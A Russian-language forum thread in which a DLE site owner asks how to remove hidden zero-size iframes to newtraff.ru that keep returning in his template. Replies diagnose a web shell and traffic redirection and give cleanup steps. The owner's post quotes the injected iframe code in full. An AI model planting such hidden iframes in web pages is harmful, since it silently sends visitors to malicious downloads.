[Максуд]

в шаблоне для DLE вставлен такой код:
<iframe src="http://newtraff.ru/go.php?sid=3" width="0" height="0" frameborder="0"></iframe><iframe src="http://newtraff.ru/go.php?sid=3" width="0" height="0" frameborder="0"></iframe>

между тегами Head, я его убираю, сохраняю изменения, но он опять выходит? это ссылка направляет на загрузку какого-то файла, как убрать этот код навсегда?

[OKyJIucT]

Судя по всему, кто то пользуется дыркой на вашем сайте, налицо признаки Simple TDS.

Надо движок скорей всего обновлять на официальный, ну или хотя бы не нуленный. Скорей всего шелл засел в каком то файле, с злоумышленник постоянно обновляет содержимое вашего сайта.

На крайний случай, если обновление невозможно, зайдите на сервер под root-ом, и поставьте на файл main.tpl пользователя root. В этом случае злодей не сможет скорей всего заменить его содержимое.

Даже вы не сможете скорей всего из админки отредактировать шаблон. Ну или попробуйте поставить на него права 444, однако в этом случае он может не открываться. Поэтому попробуйте оба варианта.

Если не помогут, тогда только искать дырку, или обновить движок.

[ohmygod]

И пароли от хостинга/админки желательно потом поменять.

[ageta]

Скорее всего через дырку в каком то компоненте он влазиет. На одном сайте одного из клиентов на WP я удалил, но от влазил через компонент формы обратной связи. Отключил компонент, перестал залазить. Скопируйте сайт полностью себе на комп, поиском поищите ссылки на _newtraff.ru, может увидите где он еще прошит. Посмотрите даты изменения файлов, станет понятно где рылись и что меняли.

[izyalex]

Максуд,
1. ищешь шеллы, смотришь дату создания файла, запоминаешь Ctrl+C
2. идешь в логи доступа, делаешь выборку по дате создания шелла
3. внимательно анализируешь пост запросы, тоже можно сделать выборку
4. устраняешь дыру и радуешься спокойной жизни

[Максуд]

Всем спасибо за помощь, сегодня же все сделаю

[xclsv]

Уже писал в подобной теме. Было такое неоднократно на сайтах клиентов. Однажды проблема не исчезла до тех пор, пока не перевез сайт на другой хостинг. ТС, удачи в решении проблемы.